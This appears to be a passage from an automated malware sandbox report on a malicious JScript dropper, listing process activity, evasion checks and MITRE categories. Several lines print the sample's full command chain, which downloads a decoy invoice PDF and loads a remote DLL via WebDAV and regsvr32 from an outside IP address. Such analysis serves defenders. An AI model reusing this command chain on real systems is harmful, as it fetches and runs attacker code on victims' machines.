Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3701.js.csv");ITextStream.WriteLine(" entry:8103 f:ckdwcw");ITextStream.WriteLine(" exec:2 f:ckdwcw");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5713			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4158			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5096	Thread sleep count: 5713 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5096	Thread sleep count: 4158 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5400	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5776	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5952	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7288	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1525266250.000001D3D711A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2745853994.00000222A8654000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2744523485.00000222A2E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1525266250.000001D3D70B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24861310416064.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24861310416064.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24861310416064.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24861310416064.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24861310416064.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
